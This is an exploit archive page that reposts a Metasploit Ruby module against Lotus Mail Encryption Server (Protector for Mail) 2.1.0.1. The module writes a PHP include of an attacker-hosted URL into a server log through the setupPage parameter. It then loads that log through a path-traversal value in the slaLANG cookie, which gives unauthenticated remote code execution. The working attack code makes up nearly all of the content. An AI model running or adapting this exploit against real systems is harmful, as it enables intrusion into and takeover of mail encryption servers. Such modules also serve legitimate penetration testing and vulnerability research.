首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Lotus Mail Encryption Server (Protector for Mail) LFI to RCE
来源:metasploit.com 作者:Webster 发布时间:2014-12-23  
##
# $Id$
##
  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::PHPInclude
  
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Lotus Mail Encryption Server (Protector for Mail) Local File Inclusion',
            'Description'    => %q{
                This module exploits a local file inclusion vulnerability in
                the Lotus Mail Encryption Server (Protector for Mail Encryption)
                administration setup interface. The index.php file uses an unsafe include()
                where an unauthenticated remote user may read (traversal) arbitrary file contents.
                By abusing a second bug within Lotus, we can inject our payload
                into a known location and call it via the LFI to gain remote code execution.
                Version 2.1.0.1 Build(88.3.0.1.4323) is known to be vulnerable.
                You may need to set DATE in the format YYYY-MM-DD to get this working,
                where the remote host and metasploit instance have UTC timezone differences.
            },
            'Author'         => [ 'patrick' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'URL', 'http://www.osisecurity.com.au/advisories/' ], #0day
                    #[ 'CVE', 'X' ],
                    [ 'OSVDB', '87556'],
                    #[ 'BID', 'X' ],
                ],
            'Privileged'     => false,
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Lotus Mail Encryption Server 2.1.0.1', { }]],
            'DisclosureDate' => 'Nov 9 2012',
            'DefaultTarget' => 0))
  
        register_options(
            [
                Opt::RPORT(9000),
                OptBool.new('SSL', [true, 'Use SSL', true]),
                OptString.new("DATE", [false, 'The date of the target system log file in YYYY-MM-DD format']),
            ], self.class)
    end
  
    def check
        res = send_request_cgi( { 'uri' => '/' })
        if (res.code == 302 && res.body.match(/GetLoginScreen.uevent/))
            return Exploit::CheckCode::Detected
        end
        return Exploit::CheckCode::Safe
    end
  
    def php_exploit
  
        logfile = datastore['DATE'] ? datastore['DATE'] : Time.now.strftime("%Y-%m-%d")
        if (logfile !~ /\d\d\d\d-\d\d-\d\d/) # if set by user datastore...
            print_error("DATE is in incorrect format (use 'YYYY-MM-DD'). Unable to continue.")
            return
        end
  
        # set up the initial log file RCE - this is unescaped ascii so we can execute it
        # later >:) uid is tomcat so we cannot read apache's logs, and we are stuck inside
        # tomcat's php-cgi wrapper which prevents /proc/* injection and a lot of the
        # filesystem. example good injected log: '/var/log/ovid/omf-2012-08-01.log' patrick
  
        inject_url = "/omc/GetSetupScreen.event?setupPage=<?php+include+'#{php_include_url}';+?>" # no whitespace
        res = send_request_cgi( { 'uri' => inject_url })
  
        if (res and res.code == 404 and res.body.match(/Lotus Protector for Mail Encryption - Page Not Found/)) # it returns a 404 but this is good.
            vprint_good("Payload injected...")
  
            response = send_request_cgi( {
                'uri' => '/omc/pme/index.php',
                'cookie' => "slaLANG=../../../../../../var/log/ovid/omf-#{logfile}.log%00;", # discard .php
            })
        end
    end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Varnish Cache CLI Interface Re
·NotePad++ v6.6.9 Buffer Overfl
·Ettercap 0.8.0-0.8.1 - Multipl
·jetAudio 8.1.3 Basic (mp3) - C
·Cacti Superlinks Plugin 1.4-2
·GParted 0.14.1 - OS Command Ex
·Mediacoder 0.8.33 Build 5680 B
·Phase botnet blind SQL injecti
·Jaangle 0.98i.977 Denial Of Se
·AMSI 3.20.47 Build 37 File Dis
·ProjectSend r-561 - Arbitrary
·WordPress Themes download.php
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved